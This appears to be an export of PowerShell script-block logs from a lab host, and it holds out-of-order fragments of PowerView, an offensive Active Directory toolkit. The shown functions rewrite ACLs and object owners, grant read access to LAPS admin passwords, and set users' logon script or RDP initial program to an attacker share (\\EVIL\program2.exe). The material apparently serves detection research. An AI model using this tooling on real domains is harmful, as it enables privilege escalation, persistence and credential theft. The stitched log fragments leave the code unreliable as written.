$_" } } } } } function Remove-DomainObjectAcl { <# .SYNOPSIS Removes an ACL from a specific active directory object. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObject .DESCRIPTION This function modifies the ACL/ACE entries for a given Active Directory target object specified by -TargetIdentity. Available -Rights are 'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended rights GUID can be set with -RightsGUID. These rights are removed from the target object for the specified -PrincipalIdentity. .PARAMETER TargetIdentity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) for the domain object to modify ACLs for. Required. Wildcards accepted. .PARAMETER TargetDomain Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain. .PARAMETER TargetLDAPFilter Specifies an LDAP query string that is used to filter Active Directory object targets. .PARAMETER TargetSearchBase The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER PrincipalIdentity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) for the domain principal to add for the ACL. Required. Wildcards accepted. .PARAMETER PrincipalDomain Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maxim421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666683Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local1541gumentList $Identity, $ADRight, $AuditFlag } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType) } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType, $InheritedObjectType } } else { if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType) } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType, $InheritedObjectType } } } } function Set-DomainObjectOwner { <# .SYNOPSIS Modifies the owner for a specified active directory object. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObject .DESCRIPTION Retrieves the Active Directory object specified by -Identity by splatting to Get-DomainObject, returning the raw searchresult object. Retrieves the raw directoryentry for the object, and sets the object owner to -OwnerIdentity. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) of the AD object to set the owner for. .PARAMETER OwnerIdentity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) of the owner to set for -Identity. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y Set the owner of 'dfm' in the current domain to 'harmj0y'. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate credentials. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String] $Identity, [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] [Alias('Owner')] [String] $OwnerIdentity, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $OwnerSid = Get-DomainObject @SearcherArguments -Identity $OwnerIdentity -Properties objectsid | Select-Object -ExpandProperty objectsid if ($OwnerSid) { $OwnerIdentityReference = [System.Security.Principal.SecurityIdentifier]$OwnerSid } else { Write-Warning "[Set-DomainObjectOwner] Error parsing owner identity '$OwnerIdentity'" } } PROCESS { if ($OwnerIdentityReference) { $SearcherArguments['Raw'] = $True $SearcherArguments['Identity'] = $Identity # splat the appropriate arguments to Get-DomainObject $RawObject = Get-DomainObject @SearcherArguments ForEach ($Object in $RawObject) { try { Write-Verbose "[Set-DomainObjectOwner] Attempting to set the owner for '$Identity' to '$OwnerIdentity'" $Entry = $RawObject.GetDirectoryEntry() $Entry.PsBase.Options.SecurityMasks = 'Owner' $Entry.PsBase.ObjectSecurity.SetOwner($OwnerIdentityReference) $Entry.PsBase.CommitChanges() } catch { Write-Warning "[Set-DomainObjectOwner] Error setting owner: $_" } } } } } function Get-DomainObjectAcl { <# .SYNOPSIS Returns the ACLs associated with a specific active directory object. By default the DACL for the object(s) is returned, but the SACL can be returned with -Sacl. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. .PARAMETER Sacl Switch. Return the SACL instead of the DACL for the object (default behavior). .PARAMETER ResolveGUIDs Switch. Resolve GUIDs to their display names. .PARAMETER RightsFilter A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers'). .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs Get the ACLs for the matt.admin user in the testlab.local domain and resolve relevant GUIDs to their display names. .EXAMPLE Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs Enumerate the ACL permissions for all OUs in the domain. .EXAMPLE Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs -Sacl Enumerate the SACLs for all OUs in the domain, resolving GUIDs. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs .OUTPUTS PowerView.ACL Custom PSObject with ACL entries. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.ACL')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String[]] $Identity, [Switch] $Sacl, [Switch] $ResolveGUIDs, [String] [Alias('Rights')] [ValidateSet('All', 'ResetPassword', 'WriteMembers')] $RightsFilter, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{ 'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid' } if ($PSBoundParameters['Sacl']) { $SearcherArguments['SecurityMasks'] = 'Sacl' } else { $SearcherArguments['SecurityMasks'] = 'Dacl' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $Searcher = Get-DomainSearcher @SearcherArguments $DomainGUIDMapArguments = @{} if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] = $Server } if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential } # get a GUID -> name mapping if ($PSBoundParameters['ResolveGUIDs']) { $GUIDs = Get-DomainGUIDMap @DomainGUIDMapArguments } } PROCESS { if ($Searcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-.*') { $IdentityFilter += "(objectsid=$IdentityInstance)" } elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainObjectAcl] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $Searcher = Get-DomainSearcher @SearcherArguments if (-not $Searcher) { Write-Warning "[Get-DomainObjectAcl] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' $IdentityFilter += "(objectguid=$GuidByteString)" } elseif ($IdentityInstance.Contains('.')) { $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" } else { $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainObjectAcl] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } if ($Filter) { $Searcher.filter = "(&$Filter)" } Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Searcher.filter)" $Results = $Searcher.FindAll() $Results | Where-Object {$_} | ForEach-Object { $Object = $_.Properties if ($Object.objectsid -and $Object.objectsid[0]) { $ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value } else { $ObjectSid = $Null } try { New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object { if ($PSBoundParameters['RightsFilter']) { $GuidFilter = Switch ($RightsFilter) { 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } 'WriteMembers' { 'bf9679c0-0de6421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666682Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local1441the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) VERBOSE: Setting mstsinitialprogram to \\EVIL\program.exe for object testuser .EXAMPLE "S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: Get-DomainObject filter string: (&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108))) VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object harmj0y VERBOSE: Setting countrycode to 1234 for object harmj0y VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object testuser VERBOSE: Setting countrycode to 1234 for object testuser .EXAMPLE "S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose Cleares the 'department' field for both object identities. .EXAMPLE Get-DomainUser testuser | ConvertFrom-UACValue -Verbose Name Value ---- ----- NORMAL_ACCOUNT 512 Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser' Get-DomainUser testuser | ConvertFrom-UACValue -Verbose Name Value ---- ----- NORMAL_ACCOUNT 512 DONT_EXPIRE_PASSWORD 65536 .EXAMPLE Get-DomainUser -Identity testuser -Properties scriptpath scriptpath ---------- \\primary\sysvol\blah.ps1 $SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\EVIL\program2.exe'} -Credential $Cred -Verbose VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) VERBOSE: [Set-DomainObject] Setting 'scriptpath' to '\\EVIL\program2.exe' for object 'testuser' Get-DomainUser -Identity testuser -Properties scriptpath scriptpath ---------- \\EVIL\program2.exe #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [Alias('Replace')] [Hashtable] $Set, [ValidateNotNullOrEmpty()] [Hashtable] $XOR, [ValidateNotNullOrEmpty()] [String[]] $Clear, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{'Raw' = $True} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } # splat the appropriate arguments to Get-DomainObject $RawObject = Get-DomainObject @SearcherArguments ForEach ($Object in $RawObject) { $Entry = $RawObject.GetDirectoryEntry() if($PSBoundParameters['Set']) { try { $PSBoundParameters['Set'].GetEnumerator() | ForEach-Object { Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$($RawObject.Properties.samaccountname)'" $Entry.put($_.Name, $_.Value) } $Entry.commitchanges() } catch { Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_" } } if($PSBoundParameters['XOR']) { try { $PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object { $PropertyName = $_.Name $PropertyXorValue = $_.Value Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'" $TypeName = $Entry.$PropertyName[0].GetType().name # UAC value references- https://support.microsoft.com/en-us/kb/305144 $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue $Entry.$PropertyName = $PropertyValue -as $TypeName } $Entry.commitchanges() } catch { Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_" } } if($PSBoundParameters['Clear']) { try { $PSBoundParameters['Clear'] | ForEach-Object { $PropertyName = $_ Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'" $Entry.$PropertyName.clear() } $Entry.commitchanges() } catch { Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_" } } } } } function ConvertFrom-LDAPLogonHours { <# .SYNOPSIS Converts the LDAP LogonHours array to a processible object. Author: Lee Christensen (@tifkin_) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Converts the LDAP LogonHours array to a processible object. Each entry property in the output object corresponds to a day of the week and hour during the day (in UTC) indicating whether or not the user can logon at the specified hour. .PARAMETER LogonHoursArray 21-byte LDAP hours array. .EXAMPLE $hours = (Get-DomainUser -LDAPFilter 'userworkstations=*')[0].logonhours ConvertFrom-LDAPLogonHours $hours Gets the logonhours array from the first AD user with logon restrictions. .OUTPUTS PowerView.LogonHours #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.LogonHours')] [CmdletBinding()] Param ( [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [byte[]] $LogonHoursArray ) Begin { if($LogonHoursArray.Count -ne 21) { throw "LogonHoursArray is the incorrect length" } function ConvertTo-LogonHoursArray { Param ( [int[]] $HoursArr ) $LogonHours = New-Object bool[] 24 for($i=0; $i -lt 3; $i++) { $Byte = $HoursArr[$i] $Offset = $i * 8 $Str = [Convert]::ToString($Byte,2).PadLeft(8,'0') $LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7]) $LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6]) $LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5]) $LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4]) $LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3]) $LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2]) $LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1]) $LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0]) } $LogonHours } } Process { $Output = @{ Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2] Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5] Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8] Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11] Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..14] Friday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[15..17] Saturday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[18..20] } $Output = New-Object PSObject -Property $Output $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonHours') $Output } } function New-ADObjectAccessControlEntry { <# .SYNOPSIS Creates a new Active Directory object-specific access control entry. Author: Lee Christensen (@tifkin_) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Creates a new object-specific access control entry (ACE). The ACE could be used for auditing access to an object or controlling access to objects. .PARAMETER PrincipalIdentity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) for the domain principal to add for the ACL. Required. Wildcards accepted. .PARAMETER PrincipalDomain Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. .PARAMETER PrincipalSearchBase The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Right Specifies the rights set on the Active Directory object. .PARAMETER AccessControlType Specifies the type of ACE (allow or deny) .PARAMETER AuditFlag For audit ACEs, specifies when to create an audit log (on success or failure) .PARAMETER ObjectType Specifies the GUID of the object that the ACE applies to. .PARAMETER InheritanceType Specifies how the ACE applies to the object and/or its children. .PARAMETER InheritedObjectType Specifies the type of object that can inherit the ACE. .EXAMPLE $Guids = Get-DomainGUIDMap $AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name $CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name $ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid $OU = Get-DomainOU -Raw Workstations $DsEntry = $OU.GetDirectoryEntry() $dsEntry.PsBase.Options.SecurityMasks = 'Dacl' $dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) $dsEntry.PsBase.CommitChanges() Adds an ACE to all computer objects in the OU "Workstations" permitting the user "itadmin" to read the confidential 